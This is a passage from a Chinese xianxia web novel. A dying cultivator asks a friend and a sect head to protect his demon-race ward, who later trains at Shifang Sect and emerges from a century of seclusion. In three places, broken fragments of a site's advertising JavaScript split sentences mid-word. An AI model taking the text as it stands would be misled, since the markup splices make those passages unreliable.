元宿央深知玉阑音自己便是这世间最好的药术师,若是连他都没办法,又或者是有意的闭而不言,那么神仙来了都得无功而返。 他来来回回转圈,最终只能给冻得发抖的玉阑音套了个保温结界,转身去厨房煮了一碗挂面。 “那总要吃点东西,”元宿央端着面回来,“吃碗面总行吧。” 他看着玉阑音的脸色,隐隐觉着不对,“你怎么这么冷?保温结界不管用?” “嗯,”玉阑音垂着眼睛没什么力气,不过这回倒没有刻意隐瞒,“寻常法术对我没什么用了。” 元宿央眉头皱得能夹死苍蝇,“从什么时候开始?” 玉阑音偏过头咳了两声,“大概二十多年前吧。” “玉阑音!”元宿央忽然怒起,他只觉着自己鼻头一酸,明明是悲哀的难过,但是又止不住地想要发火来宣泄自己的无能为力,“你能不能学会爱惜你自己!” 其实并不是法术真的没用了,而是因为他的身体正在消散。 这是修行之人的将死之态。 元宿央只觉得自己的心脏也要停跳了。 他闭了闭眼,按了按酸涩的眼眶。继而睁眼环视四周,忽然他的语气更加气怒,“你现在是和谁住在一起!” 玉阑音身体极其不适,根本无暇应对元宿央,他垂着眼睛苍白着脸往被褥中缩了缩,有气无力地偏了偏头,“几年前捡了个孩子。” 元宿央只觉得天灵盖要被掀翻,他颤抖着声音,“你……你……上回的教训你还没尝够吗,你现在到底是为什么又……” 他顿了一下,应该是咽下了很多话,最终才再次开了口,声音带上了哭腔:“你不能总是这样啊阑音……我……” 玉阑音罕见地皱了皱眉。 元宿央哑声。 他嘴唇都在颤抖着,却最终低了头,“吃面吧。” 修行之人辟谷后,吃普通的饭菜不外乎是是修养身体或是满足口舌之欲,如今玉阑音身体这般,一碗面也不足以暖了他的身子,他本没什么力气做这些无用功。 但或许是为了安抚面前这位魂不守舍的年轻人,刚才自己的确对他有些苛责,玉阑音撑起上半身,居然从善如流地接过碗筷,开始挑挑拣拣地拨弄着碗里,即便一身病气看起来仍旧是矜贵无比。 “这面还真是……”玉阑音斟酌了一番字句。 元宿央剑眉一竖,“你想说什么?” 玉阑音顿一下,极为顺畅地改了口:“……色香味俱全。” “……” 玉阑音笑了,可面上却未多一分人气,依旧一副病气缠身的病痨鬼模样,“好了,别使脾气了。” “我没有。” “嗯,别担心了。” 元宿央抿了抿唇。 尽管体虚,但玉阑音此刻却无大睡意,他只吃了一口便不再动筷子了,一是因为没什么胃口,二则是因为这面的确是过于焦香四溢难以入口。他半倚在背后的鹅绒靠枕里,慢悠悠问道:“说说你,怎么有空到这里来了?” 元宿央倒是很想堵他一句:我若是不来你早就病死在这里了。 不过或许是因为晦气,话在他嘴里转了两圈,到底是没开口。 “前几日的那次云州结界异动阵仗之大,都传到我们后山的听风阵去了。我爹遣人来查看,我想到你在这里,便和他请了自己来,也好见见你。” 元宿央是北晔玄天门的少掌门,玄天门取意“玄力天赐”,仙盟五大门派之一,北晔剑宗之首。元宿央年轻有为,百岁之时便被赐法号衍宣,如今不及三百岁已有成龙成凤之势。 “你们倒是警惕。”玉阑音一笑。 元宿央问:“千年未响的听风阵,在前几天阵眼石都碎了,你管这叫警惕?” 玉阑音往被子里窝了窝,“你们倒是大意。” 元宿央:“……” 有的时候真想撕烂这人的嘴。 元宿央闭了闭眼,吸气呼气地平稳了平稳心神。 ……算了,我堂堂玄天宗少掌门,不和病人一般见识。 “……所以前几日结界是怎么个情况?” “不严重,”玉阑音轻描淡写开了口,“你也知道我的身体,结界不稳时而跑进来几只也在所难免,只不过这次那口子开的大些。替我转告拢虚,已经处理好了,无需在意。” “裂口是那厌族从外撕开的么?有多大?” 玉阑音眯了眯眼似乎是回忆了好一会儿,“看不到边际,北边的整片天都黑了。嗯,应该就这么大吧。” 他逗小孩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 似的伸了根手指在空中虚虚地圈了一个铜钱大小的小圈。 元宿央忽然再次露出那种要哭不哭的神情,“太嵇……” 玉阑音本在安静地等待他继续说。但等了很久都没有下文。于是他温和地接过这话口,开口道:“没事,不疼。” 元宿央鼻子一酸。 他觉得此刻正努力憋着眼泪的自己一定很滑稽。 “……别说了,太嵇……”元宿央声音有些哽咽,他生硬地转开了话题,“……你……说说你捡到的孩子吧。” 提到温卓,玉阑音脸上忽然流露出一丝笑意,是他一整个晚上都没有露出过的轻松神情:“他叫温卓,今年……十三岁了吧,是个很好的孩子,忠义。” 元宿央垂着头似乎有些心不在焉,他扯了扯嘴角,“……忠义么。” 玉阑音看了会儿他的发旋,叹口气道:“信我一回罢。” “可是太嵇,你可有想过,若真如你所说的这般,他又怎会让你一人病在这里到天黑都不回来?”元宿央抬起头,这时玉阑音才看到他眼中细碎着的,是水光。 玉阑音一愣,好一会儿才重新开口道:“他去中原了,是我瞒着,怪不得他。” 听了解释的元宿央却并没有缓解一分一毫,声音都在抖,“……我就知道。” 玉阑音这回没再作声。 “他为何去中原?修为如何?”元宿央闷着声音。 他对于这个素未谋面的孩子其实并不感兴趣,甚至出于某些原因有些怨恨,如此问来其实不过是看这人只有在提起来他来时高兴,便借此听这人说说话叙旧。 “双灵基,水火二灵基,不过天赋极好,去中原学法术去了。十六刚走。” 元宿央听到“水火二灵基”时愣了下,不过他对温卓的好奇也仅限于此。他并未开口多问,只点点头:“那很好。” 玉阑音自然是能瞧得出元宿央兴致不高,不过一向合时宜的他此刻居然依旧没有停了说话的打算。 他顿了一下,继续道:“他个子长得很高,模样生得也好,身上有一副寒铁弓,我刻了金光咒在弓面上,身边应该会带着一只金雕,有匹马,枣红色的。你见到了应该很好辨认。” 元宿央有一搭没一搭地听着,有些搞不懂他忽然说这些是要做什么。 “衍宣,我深知我这么说有些唐突,我没什么朋友,尽管你我二人交情颇浅,但除你以外我真的不再能想出些其他人……”玉阑音直起了身子。 元宿央皱起眉头打断了他:“太嵇,你我自是朋友,此言又是何意?” 玉阑音微不可查愣了下,随即笑笑:“抱歉,过去从未有人与我结友,我误以为你也是这般。” 元宿央眉头皱得更紧,想说些什么,不过玉阑音很快便接了下文,他只得暂时把话咽回嗓子。 “衍宣,我有一事相求,恳请。” 元宿央愣了下,玉阑音鲜少有这般垂着眼睛求人的时候,他一时有些摸不着头脑,“若我能做到必然会尽全力,你放心。” “有一事,我也并不愿瞒你,若我……”玉阑音顿一下,随即又笑起来,“……瞒了你反而是适得其反。” 元宿央静静听着。 “温卓这孩子,是个厌族。” “厌族确有杀戮的本性,但更多考验的是心性,他性情坚忍世间无二,多加教导定不会为祸四方。只要我活着一天就能如此保证一天,可若是有天我不在了……届时云州动乱,还望玄天门少掌门看在我的面子上,保他一命。” 9. 托付 北风正在窗外呼啸,可屋内却连根针落在地上的动静都能听见。 此时壁炉噼里啪吧的火爆声,元宿央听着觉得这哪是柴火声,这简直就是自己的心火。 他噌地站起身。 玉阑音疲惫又抱歉地笑了下,“除你以外我真的想不到其他人托付。抱歉,宿央,这件事……确实叫你为难了。” 元宿央嘴唇嗫嚅:“我原本以为他会和……不同,结果倒真是不同,你这回直接养了个厌族!” “……你真是没长够记性,太嵇。” 玉阑音默不作声垂头听着。 “这件事情我就当没听过,”元宿央浑身发着抖,他闭了闭眼,“我最多只能保证我不会动手,若是其他人——我管不着,也不会管。” “你若是真想留他的命,便自己好好活着拴着你这条随时会咬人的狗,多余我也不——你笑什么?” 玉阑音温温和和收敛了些笑意,但依旧笑在眼角,“没什么。” “谢了,衍宣。” 元宿央左看右看,气势早就泄了一大半,气不过,拂袖离去。 接下来的几日,元宿央仔细检查过了北部森林处的结界,的确如玉阑音所说,虽然由于刚被破坏显得有些孱弱,但确实是没什么大碍。 “……我说的没错吧。”玉阑音端着一杯热茶,笑道。 “你的嘴里一句实话都没有,不自己检查我不放心,”元宿央懒得理这人,拂去了肩头的雪,“这鬼地方天气可真差,你现在没了法术傍身,也难怪总是生病。” “嗯。”玉阑音倒是也不反驳,有些困倦地眯着眼。 玉阑音的身体并没有如他所说自然而然地好转,反而是愈演愈烈每况愈下,一天十二个时辰约莫十个时辰都在打盹。 元宿央于情于理都不能放他自己一个人在这儿病着,便在这儿落了脚陪着他。 大概半个多月后,忽然有一天,元宿央正坐在正厅的壁炉旁生着火,在摇椅里看着壁炉发呆的玉阑音忽然轻声道:“他居然要去十方宗。” 屋内就两人,元宿央自然是听到了他的话。 温卓这些天总是用灵犀灯传话,尽管由于玉阑音灵气亏空从来收不到同声传话,每回都是要借元宿央的灵气才能勉强打开灵犀灯留话进去。 元宿央不难推断玉阑音此时说的是谁。 他哼一声。 “你如何知道的?他又传声来了?你没有灵气收得到?” “瞧你话里夹枪弄棒的样,当然不是了,”玉阑音笑一下,“我分了一缕神识化了只金雕跟着他了,偶然听到的。” 元宿央听了这话简直比听见那个恼人的小子又传话来还生气,若不是念着玉阑音还是个病号,巴不得起身踹他两脚:“你身体如何你不知道吗?还敢散神识?你疯了吗!” 玉阑音无比坦然笑道:“散出去太久,收不回来了。和白祺一样。” 神识离体太久便会出现这种状况。 而且离体太久的分神与本体的联系会越来越微弱,比如现在玉阑音接收到分神反馈而来的信息其实也是时断时续,更多时候那分神已经和只普通的金雕没什么区别。 元宿央自然也知道如今说什么都晚了,骂了两句也就消停了,只得到一边自己生闷气。 不过很快他便想到了什么似的开口问道:“他去十方宗,你不需要找人照看一二?” 玉阑音却并没有直接回答他的问题,他头往后轻轻一靠,“我比任何人都知道他做什么都能做得好,但是……” “……不放心啊,宿央。总巴不得把所有路都替他铺好,至少我在的时候,是舍不得让他吃一点无谓的苦。” 元宿央对于温卓可以说是是没有一丝好感,听着玉阑音的话难免心里酸溜溜的。 不过除此以外他还有更想说的,他忽然想起了先前他想说却没说出口的话:“太嵇,你……真的还好么?” 不是指身体,是他这次见到玉阑音,总是觉着他对于很多东西的态度太消极了一点,已经到了有点不对劲的地步。 其实玉阑音一直是一个不喜言浅言深的人。元宿央与玉阑音百余岁时便相识。那时候的玉阑音便是一向是一群人中最冷淡的那个,似乎对什么都留心,又对什么都无意。尽管他总是笑。 虽然那时的他怎么看也都不像个积极阳光热爱生活的模样,但也绝对不应该像现在这样一潭死水。 “我吗?我没什么不舒服的。”玉阑音说着话忽然开始起身。 吓得元宿央立刻一个小扑过去搀住了他,然后替他裹上厚衣服。“突然要去做什么?” “你大惊小怪的,吓我一跳,”玉阑音道,“水凉了,我加点热水。” 元宿央一把把他按回椅子,“我来,你坐好等着。” 玉阑音不是一个喜欢麻烦人的性格,若是别人主动做他便接着,但若是别人不做,他便也从不生起求人的心思。 求人求人,毕竟是他人,一次两次便已经是开恩,哪能回回总误会自己足够特殊,值得别人心甘情愿为自己做这做那。 他愣一下:“……谢谢。” 元宿央边倒水边斜他一眼:“这不捎带脚?谢什么谢,莫名其妙。” 玉阑音笑了下。 “宿央,借些灵气。” “又要干嘛?” 不过虽然问着,元宿央已经早早的伸过手去,拢了个聚灵球,输了好些灵气进去。 玉阑音修为足够,其实早就不必如寻常修士一般,先要将元灵气内化才能为己所用。虽然如今他的灵脉枯竭,但若是在灵气充足之地,直接操纵万物之元灵气根本不在话下,怎么都不该沦落到借灵气的地步。 怪就怪北塞札布萨此地灵气稀薄,玉阑音纵有天大的本事在这儿也是有心无力。 “这回多用些,开个同声传话,找鹤生。” 元宿央听见立刻冷哼了一声,不用问都知道他这时候找秦鹤生是要做什么。 他阴沉着一张脸但又伸着手往聚灵球里输了些灵气。 “谢了。”玉阑音笑着接过。 元宿央又哼一声。 玉阑音右手两指一拈那灵气球便拽了一丝银灰色的灵气出来。 元宿央是剑修,体内灵气与术修不尽相同,用起来难免滞涩些,不过玉阑音对这些是不太挑剔的。 他手腕一翻便翻了一只灵犀灯出来。 如今他灵气紧张,自然是要省吃俭用一些,便不化灵犀灯的实体,只化个形暂时一用。 他心念:十方明亮,云州大同。 只顷刻间这同声传话便被接通了。 对面便是十方宗的掌门,秦鹤生。 秦鹤生的声音是如此的苍老却欣喜,但更多的似乎是不可置信:“……太嵇真人?是您吗?” 尽管不是自己的灵气,但是施法术还是让玉阑音忽然一瞬间有些头晕目眩,他稳了稳心神才道:“是我,鹤生。” 玉阑音的声音穿过传声阵却没有一丝一毫的失真,秦鹤生几乎觉得他仿佛就在他的身边,恰如千年前那般。 他忽然有些想要掉眼泪。 一把年纪了,也不嫌丢人。 秦鹤生的呼吸由于激动有些急促,“您怎么拨响我的灵犀灯了?方才我看到来人……真的几乎不敢相信……这么说来真的是好久没见到您了,这灵犀灯也是您第一次响……” 玉阑音没有打断,就静静地听着,直到秦鹤生絮絮叨叨完他才温温和和开口:“嗯,将近一千年了。” 秦鹤生闭了闭眼。 是啊,一千年了。 “嗐,您瞧,我这年纪大了也多了好些老人的毛病,说起话来喋喋不休。您今日是?” “我今日确有一事相求。” “您这话就客气了,真人所愿,鹤生自是在所不辞。” “不情之请,也是惭愧。只是过几日有个孩子可能会到十方宗拜师,他带着一把寒铁弓,上边有我亲自刻下的金光咒,应当十分好辨认。不知鹤生可否替我照看一二?”玉阑音声音十分好听,又想到了什么补充道,“这孩子天资卓绝,并非朽木之才,鹤生不必多虑。” 不过对面的秦鹤生似乎是沉默了一下,良久才尝试着开口:“您……” 许久没有下文。 玉阑音眨眨眼,轻叹一口气:“就知道你们要这般。” “真人所请鹤生已然知晓,平日自会帮真人多加留意此子,不过……”秦鹤生声音微沉,“真人,这有的话由我来说可能显得不知礼数,但……农夫与蛇的故事,还望真人时刻谨记。” 玉阑音却似是松了口气,“我明白的,鹤生。谢谢了。” 两人寒暄几句便断了通讯。 元宿央在一旁抱臂冷哼一声,“所有人都在提醒你啊,太嵇。” “嗯,我知道。”玉阑音眸子一垂,“我有数。” “不过你不怕你这么说了反而让他对那小子有偏见?” 玉阑音摇摇头,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不会的,鹤生是个心思纯粹的战术师,打小眼里就只有法术,小时候崇拜厉害的长辈,现在当了掌门还是喜欢收有天赋的。以温卓的天资,比起替我注意他是否有异端,他怕是喜欢都来不及。” 元宿央收拾着屋子,顺手摸了两把白祺,“你倒是了解得清。” 玉阑音脑子一时没转过弯,“嗯?对谁?” 元宿央回了个大白眼,“对他们俩!都!” 北塞天气一向寒冷,算来正月十五之后也有一个半月之久,但依旧是天寒地冻,大雪封山。 不过也是多亏了元宿央着一个多月的照料,虽然算不上细心,但玉阑音的身体也好歹是没继续恶化下去,也算是不幸中的万幸。 就是这少掌门做的饭实在是忒难吃了。 这天玉阑音又照例坐在饭桌上讨价还价,来来去去就一个意思:不愿吃。 刚开始的时日元宿央还好说歹说地哄着,到后面也不再理了。 “哦。” 他随口一应,不由分说给玉阑音盛了一大碗冒了尖的米饭,舀了一大碗菠菜山药秋葵等不知名蔬菜熬的汤,稠得喝一口就要吐不出舌头,“吃。” 虽然玉阑音是有很多年没吃过大米了,但是连吃一个月还是很吃不消。他脸上绿绿的。 “宿央,你看我像不像水稻?” “不像啊,怎么了?” 玉阑音莞尔一笑,“哦,没什么,我还以为自己要成水稻精了。” “……” 虽然做出这一锅宛如糠咽菜的元宿央哑口无言了,但是玉阑音心情还是算不上美妙。他拿个小调羹在碗里搅来搅去看来看去,越看脸越绿,和这碗菠菜汤很是交相辉映。 忽然传声阵里传出一阵“笃笃”声。 玉阑音一愣。过而忽然想到,前几日借来的灵气还没花光,自然是能收到传音。 他接通了同声传话。 “……阑音?” 是温卓。而且听声音他似乎要比玉阑音更不可置信。 “嗯,是我。” 对面愣了一小会儿,也“嗯”了声。 “……谁啊?”元宿央听了筷子,没好气问。 玉阑音道:“温卓。” 元宿央翻个白眼,“完成抓紧吃饭。” 忽然温卓的声音才传来,“家里来客人了吗?” 玉阑音倒也没什么好瞒着的,“嗯,有客人,北晔玄天门少掌门元宿央。” 对面又“嗯”一声,随后就是一串连环炮。 “这段时间一日三餐怎么吃的?好好吃饭了吗?有没有乱喝酒?” 连环二踢脚似的似的,一时突突得玉阑音有点愣。 “有好好吃,没喝酒,”玉阑音好笑道,“宿央这段时间都住在这里,平时是他开火做饭。” 对面似乎愣了下,“……这一个多月他都在那里的么?” “对,赖着不走。” 元宿央自然是竖着个耳朵听着,听到这儿脚下踢了他一下,玉阑音笑着躲开。 温卓好一会儿没吭声。 “说说你,怎么有空传话给我了?是遇到什么难事了?” 对面声音有些闷闷的,“没有。” 玉阑音静静等着他的下文。 “就是想和你说,我到十方宗了,入门测试通过了,进了药宗,随善玄长老修行。” 玉阑音温和地笑了,“嗯,很不错,今后跟着长老可要加倍努力。” “克古鲁也通过了,进斗宗拜了青木长老为师。” 温卓三言两语讲了讲这一路,但是似乎兴致不太高。 玉阑音自然听得出来,笑起来,“怎么不高兴?” 对面又闷声道:“没有。” 玉阑音琢磨了会儿,看了一眼在一边吃饭的元宿央,“宿央是被来查勘云州结界的,多住了几日,明天就走了。” 元宿央不知道为什么玉阑音又提到了自己,不明所以看了他一眼。 温卓依旧闷声“嗯”一声。 “别不开心了,嗯?” 玉阑音软声软调地哄道。 温卓没搭话,沉默片刻没头没尾道:“我会尽早回去。” 玉阑音一怔,笑道:“好,我等着。” 断了通讯后,克古鲁眼巴巴凑上来,“怎么样?药郎先生怎么说?” “没怎么说。” 温卓把灵犀灯塞回怀里。 不过克古鲁觉着他大哥好像心情不太好。 10. 百年 拜师宴在三日后。 克古鲁跟着青木长老门下弟子从坤池峰赶到了十方宗的主峰正明峰之上,正明峰山头只有一座金丝楠木大殿,颇为金碧辉煌。 大殿左侧是新弟子,已经换上了十方宗的弟子服,一个两个头发高高束起,很是精神抖擞。右侧是已经入了长老门下的师兄师姐,每个长老派出一位。 青木门下来的弟子是原佰。 直到长老们都三三两两出现,克古鲁左看右看都没找到温卓的身影。 同样,善玄长老也没有出现。 克古鲁偏着头小声问:“原佰师兄,我大哥怎么没来?就是入门测试那天我旁边的那位。” “我知道他,温卓嘛,水火二灵基,当天就出名了,”原佰侧过头偷偷摸摸回答,“不过我听说善玄长老好像是不打算收他为徒呢。” “啊?”克古鲁低声震惊了一下,“这是怎么一回事?” 原佰遮着嘴继续小声道:“好像是善玄长老和掌门说了好几回,意思大概就是有另一位长老更适合温卓,就想把他转到那位长老门下。” “是哪位长老啊?”克古鲁又问道。 “药宗总共十六位长老,我们斗宗的弟子连这些长老的名字都没听全过,更别提认识了,平日见得比较多的只有门下有弟子的无妄、与徵两位长老。那长老的名字我随便听了一耳朵,只记得那名字挺拗口……嘶,我还真记不起来了……是什么来着?……不想了,反正肯定是药宗的哪位长老吧。” 克古鲁更加纳罕:“那今日我大哥和这位新长老怎么也没来?” “我听说是那位长老最近不在十方宗,得等他回来了才能拜师,算是欠个拜师宴。” 这还要说到三日前。 入门测试后,善玄带着他未来的弟子回到了药谷。 药谷是一群连绵的山丛,起起伏伏相互遮掩。且如其名,郁郁葱葱,路上的青石板路都被各种花草遮得几乎要看不见。 天色将晚,药谷安静到仿佛下一秒就要闹鬼。 善玄先领着温卓去了博观殿。 虽然时辰不早了,但博观殿里的夜明灯却亮着。 里头坐着两个长得一模一样的男子,应该是正在读着什么书卷,听到开门的动静,两张一模一样的脸这么齐刷刷抬头看向门口,还有点惊悚。 见到善玄,两人忙站起身拱手行了个礼,左边那人甚至笑出了一对小虎牙。 “善玄师叔。” “善玄师叔。” 善玄点点头,然后转头向温卓介绍道:“这是栾恪心和栾恪云,是无妄长老门下的弟子。” 左边那人又笑起来,“你好,我是栾恪云。” 栾恪心似乎不太爱说话,只朝着温卓点点头。 温卓拱了拱手:“温卓见过两位师兄。” 毕竟不是自己的弟子,善玄和这两人也算不上熟络,聊了两句很快便带着温卓离开了。 出了博观殿,善玄继续道:“药宗总共只有三名弟子,方才你已经见过了恪心和恪云,另外一名是与徵长老门下弟子,君少暄,你大概很快就能见到,但是……” 善玄有点为难似的,哼哼唧唧好一会儿:“……也没怎么。” 温卓不插话,静静等待着善玄的下文。 不过善玄不再对此多言,蹙着眉头抓了两把自己的头发,“不过我倒是想问——” 他看了看温卓,“我最不懂的是你为什么要来宗门求学,明明你跟着……” 他顿了下。 “总之,你是不该拜师在十方宗的,特别是我门下……怎么说呢,嗯……有点乱辈分?也不知道掌门怎么想的。” 善玄絮絮叨叨,但是大部分的话可能也不是说给温卓听的,似乎只是些没什么条理的自言自语。 温卓听得有点云里雾里,便不插话。 “我想了很久,小师弟。”善玄忽然道。 温卓一愣。 小师弟? “我还是决定把你交回我师尊手里,等他什么时候回来你再拜师,如果回不来……” 善玄又一顿。 “……他肯定会回来的,你别担心。” 善玄说话吭哧吭哧的,头一句脚一句不着四六。不过温卓大概是听明白了,他大概是要被转让给了另外一位长老了。 这位长老暂时不在宗门,而且是善玄长老的师尊。 温卓其实对师尊是谁不甚在意,他离家千里只是为了学本事,越厉害越好,越快越好。 善玄长老的师尊,那实力比起术仙善玄大概只高不低,倒是正好和他意。 温卓略加思索便应下了,“那便谢过善玄长老。” 善玄听到他同意登下大松一口气,“叫师兄就好,师兄就好。” “师兄。” “好好好,”善玄肉眼可见地高兴起来,“我师尊门下也就我一根独苗,还从来没有过师兄弟,听人叫师兄还是头一回。” 随后他语音一转,“不过今日听你的意思是不想学疗愈法术?” 温卓有点惭愧地低低头,道:“生性愚笨,确实没有天赋。” “你说话真是谦虚啊小师弟,你若是‘愚笨’,这话叫其他弟子听见还不是要一头撞死了去?”善玄笑起来,“你可知道哪象灵基的战术师最强?” 温卓不知,便虚心垂着头听教。 善玄虽然从不收徒,但是瞧着温卓这温顺的模样,似乎忽然就觉醒了些好为人师的性格缺陷,飘飘然地洋洋洒洒起来。 “是火、水二象。火象灵气凶猛,水象灵气刚韧,气化的战斗法术威力无比,是战术师中最强的灵象,自然也是最难做药术师的灵象。” 善玄笑着拍拍温卓的肩,“而你是水火二灵基啊小师弟,是天命叫你与药术师无缘啊。但这可绝不是因为你愚笨,以后不可如此说自己了。” 温卓一愣,随即认认真真行了个礼,“谨记师兄所言。” 善玄似乎在温卓答应不拜他为师之后大大松弛下来,说话也不磕巴了,笑得也乐呵了。 “这么说来我倒是也明白掌门为什么把你安排在我这儿了,如今师兄弟称呼起来,也确实是没人能比我更合适了,”善玄高高兴兴领着温卓往回走去,“今后你便只管跟着我学,不必和他们一起去学堂,我过去门下没有过弟子,有什么照顾不周的地方你多担待。” 温卓跟在他身后道谢称是。 第二天温卓便见到了善玄口中的第三位弟子君少暄,虽然见面的气氛算不上和谐。 君少暄是个走路鼻子头都恨不得指天的年轻人,温卓迎面碰到他,远远就能看到他的鼻孔。 君少暄垂着眼睛,同温卓擦肩而过的时候扯了扯嘴角冷笑一下,“呵。” 温卓不明所以看向他。 君少暄回看回去,“你看什么看?” 他“哼”一声,不屑至极,“一个普通术修,不知道靠着什么手段居然能进药宗,真把自己当回事了。” 温卓蹙了下眉,但他生性不是爱惹是生非的性格,想着多一事不如少一事,礼礼貌貌行了个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 礼便转身离开。 倒是把身后的君少暄气得要跳脚,温卓走出去八丈远还能听到那人在身后气急败坏的叫嚷:“有朝一日我定会将你打倒在地跪地求饶!你就等着瞧吧温卓,等着滚出药谷吧!” 温卓打心里搞不懂这人为何能如此无聊,心眼恁小。他暗暗叹一口气,面上却依旧不显,客客气气转过头又抱了抱拳,只在心中奢求今后能少见这人一面是一面。 不过今后确实有很久他都没再见过君少暄。 有多久呢? 天头金乌东升西降,抽长着少年的身形。 善玄就这么看着这个搭在他肩头的少年逐渐和他目光平齐,再逐渐高过他。 有个词是“少年老成”,但其实总还是不准确,因为少年人是不会老成的,哪怕是行事稳重沉默寡言,但偶尔的一个抬眸里,便能窥见少年独有的神采奕奕。 这些年里温卓日夜修行不停,白日里有时跟着善玄练习,其余时候便是泡在藏书阁,夜里便运气打坐,就连克古鲁都没见他大哥几回。他似乎从来没给自己留过哪怕一点的空暇时间,似乎总在着急些什么。 善玄总担忧他的身体能不能吃得消,不过温卓倒是这么些年头也从没个感冒上火,他便也就饶过去了。 修行的这些年算不上有趣,温卓不惹事不生非,又是个锯嘴葫芦,随着年纪渐长这葫芦的嘴也是越锯越短。小些时候温卓一本正经义正言辞的,善玄便总爱逗着他玩,可惜这个爱好并没有持续很长时间,因为温卓很快就长大了。少年时期珍贵难溯,寥寥数年,可温卓似乎总是急于摆脱。 善玄就这么眼睁睁看着,看着温卓总不经意流露出来的少年气在一夜之间褪得一丝不剩。 寻常天资的子弟刻苦修行都有所成,更不必提温卓自是天资过人,又努力异常。十五年载转瞬即逝,温卓修为大成,辟了谷,闭关去了。 这些年温卓和玉阑音仍旧偶尔有联络,但不知道从什么时候开始,温卓来的消息越来越少。 不过对于温卓消息变少,远在札布萨的玉阑音倒是松了一口气。 玉阑音的身体好一天差三天,这些年算是堪堪维持在了一个不算康健但也算不上糟糕的状态。元宿央临走借给他了好些灵气,他平时在修补结界上挥霍得多,时常要担心灵气不够了该怎么和温卓交代。 好在如今温卓不太传同声传话了,消息也越来越少,越来越短,最后只剩下些“一切安好,勿念”的场面话,闭关的数十载更是没了音讯。他因此也得以将自己的消息藏得结结实实未露分毫。 虽然玉阑音从不过分担心温卓,但也难免心生挂念,偶尔会传些简讯给秦鹤生,得到的消息也往往比温卓自己的所说的更丰富。 温卓出关的时候是个晴朗的春天,阳光刺得他眼睛有些不适,他闭了闭眼。 “闭关结束了?” 温卓看向声音的来源。 他垂了垂眸,“师兄。” “等你好久了,你的出关时间也巧。这几日正是云霄大比,百年一届,云州仙门百家百岁以下的弟子都能参加。我算着你年纪九十有六,正巧也合适,就常来你屋内坐着等等你。这倒好,正给我撞上了。”善玄神了个懒腰,看起来挺高兴。 温卓听着,忽然皱了皱眉。 闭关的日子,修行之人对于日月轮换并不敏感,直到善玄告知,他才直到自己闭关居然已有近百年。 百年足够人间草木更迭,对修士而言却只如弹指一挥间。 再睁眼,居然已经换了人间。 11. 云霄 比他想的要久。 温卓垂着头,不发一言。 “怎么样,师弟,要不要参加?错过了就不再有机会了。”善玄对于温卓的冷淡态度已然习惯,好整以暇地自己给自己添了一杯水。 温卓自从修练起便没出过药谷,对练的对手永远只有善玄一人。 善玄不是一个勤勉之人,也不知是和谁学的这副做派,修行就讲究个水到渠成,每回若不是温卓主动来讨教,他是断然不会主动提出“过两招”。毕竟有这空都够下山听半回评书了,谁做这费力不讨好的事儿呢。 但温卓又是个实心眼儿,总是不要命地天天来“讨打”。从刚开始善玄的一个气浪就能把他掀翻在地,到之后能强撑几回合,再到之后的略逊一筹,最后到闭关前的难分伯仲。 温卓出关后第一件事便是想着再同善玄斗上一斗。 他不说话,只安静地瞧着善玄。 善玄看着他十分眼熟的这个眼神,顿觉心力交瘁:“师弟啊,你不能总逮着师兄一个人祸祸,云霄大比千百来号人,怎么不够你练手了?快饶了师兄这回吧。” 这也不怪善玄,自从温卓修为精进之后,这师兄弟每回过招少则两个时辰,多则两日之久,大多时候是斗到善玄困得抹眼泪主动认输作罢。 如今这死心眼儿孩子又闭了关出了关,善玄是万万不允许自己一身老骨头再接这样的活计了。 温卓有些遗憾地收回目光。 遗憾归遗憾,可确如善玄所言,云霄大比确实是个不错的机会。 “我会如期参加,”他垂眼思索一会儿,“谢师兄告知。” 善玄松了口气,随即看着他这个师弟,只觉着怎么看怎么满意,欣慰地点点头,“好好好。” 他随手吃了块炸瓜花,“大比在两日后,你做做准备,放轻松,别紧张,拿个第一名回来光耀宗门。” 温卓盯着桌上盘里的炸瓜花好一会儿。 “我未拜师,光宗耀门怕是有些难。” “呃……师尊很快就回来了,你先别急。”一提到这茬善玄就理亏得不行,一边打着马哈哈一边开始着手后撤,“诶呦我这儿还有急事……那没什么事我就先走了啊师弟,你吃好喝好哈,吃好喝好。” 善玄每天之无所事事众人皆知。急事急事,可能他这些年最急的事就是掐着点去山下排队买八宝糕。 温卓没说话,只静静看着他这滑稽的师兄灰溜溜地消失在门口,留下个尴尬的残影儿。 良久,他似乎是想到了什么,左手一拈,心念一动,从识海里取来了灵犀灯。 温卓垂着眼睛看了很久,就在你觉得他大概是要做些什么的时候,他的手的确动了。但他却也是没做什么,只在手中把这灵犀灯摩挲了好一阵便就又小心地收回去了。 随后他合上眼,放了一丝神识进了识海。 温卓的识海里空空荡荡,只一片湖面,湖心只一棵灰白的枯树,枯枝上停着一只金雕,枯树下一匹枣红色的马。 这只金雕正值壮年,听见来人,扇动了一下金棕色的翅膀——遮天蔽日。 温卓踩着湖面走过一片波澜,最终停在枯树之下。 他伸出手,“阑音。” 那金雕长啸一声,张开双翼朝他而来。 温卓稳稳接他入怀。 云霄大比那天,温卓终于久违地见到了克古鲁,还有镜遥和原佰。 事实上,这三人都没有参加这次的云霄大比,其实完全是专程来看温卓的。 毕竟你总要承认,百年更迭,变化才是必然,人自然也没有不变的道理。 克古鲁由于炼器术修得好,又加之兴趣使然,如今正在器阁当学徒;镜遥一心除邪祟除厌族,这些年里大多奔波在外,在十方宗的日子屈指可数;原佰一向对修炼并不过分热衷,年纪也过了百岁,赐意宴上得了法号“砚甄”。 似乎所有人都有了某个明朗的未来。 由于温卓没拜师,他到现在都没有什么名义换上十方宗的弟子服。他依旧总是穿着自己的常服,和当年南下之时同样款式的玄色长袍。 再加上他个子很高,在人群中十分显眼,克古鲁打眼一看就看到了温卓。 “大哥!” 温卓闻声看去。 克古鲁依旧是一头浅色头发,甚至由于年纪长大颜色比幼时更浅,穿着白金色袍子,在太阳下几乎有些反光。他身旁的镜遥和原佰他这些年见面见得少,温卓有些分辨不出。 他朝克古鲁颔首,随后又朝着他身边两人行了礼,含糊道:“镜兄,原兄。” 